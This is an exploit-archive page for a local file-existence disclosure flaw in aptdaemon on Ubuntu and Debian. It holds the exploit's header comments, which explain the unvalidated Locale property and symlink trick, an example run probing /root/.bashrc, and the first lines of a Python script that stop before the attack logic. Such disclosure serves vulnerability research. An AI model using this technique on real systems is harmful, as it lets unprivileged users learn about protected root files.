Aptdaemon < 1.1.1 file existence disclosure Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2020-10-28 |
Type : local |
Platform : linux
This exploit / vulnerability Aptdaemon < 1.1.1 file existence disclosure is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
# Exploit Title: File Existence Disclosure in aptdaemon <= 1.1.1+bzr982-0ubuntu32.1
# Date: 2020-10-27
# Exploit Author: Vaisha Bernard (vbernard - at - eyecontrol.nl)
# Vendor Homepage: https://wiki.debian.org/aptdaemon
# Software Link: https://wiki.debian.org/aptdaemon
# Version: <= 1.1.1+bzr982-0ubuntu32.1
# Tested on: Ubuntu 20.04
#
#!/usr/bin/env python3
#
# Ubuntu 16.04 - 20.04
# Debian 9 - 11
# aptdaemon < 1.1.1+bzr982-0ubuntu32.1
# Sensitive Information Disclosure
#
# Reference: https://www.eyecontrol.nl/blog/the-story-of-3-cves-in-ubuntu-desktop.html
#
# There is no input validation on the Locale property in an
# apt transaction. An unprivileged user can supply a full path
# to a writable directory, which lets aptd read a file as root.
# Having a symlink in place results in an error message if the
# file exists, and no error otherwise. This way an unprivileged
# user can check for the existence of any files on the system
# as root.
#
# This is a similar type of bug as CVE-2015-1323.
#
#
# $ ./test_file_exists.py /root/.bashrc
# File Exists!
# $ ./test_file_exists.py /root/.bashrca
# File does not exist!
#
#
import dbus
import os
import sys
if len(sys.argv) != 2:
print("Checks if file exists")
print("Usage: %s <file>")
sys.exit(0)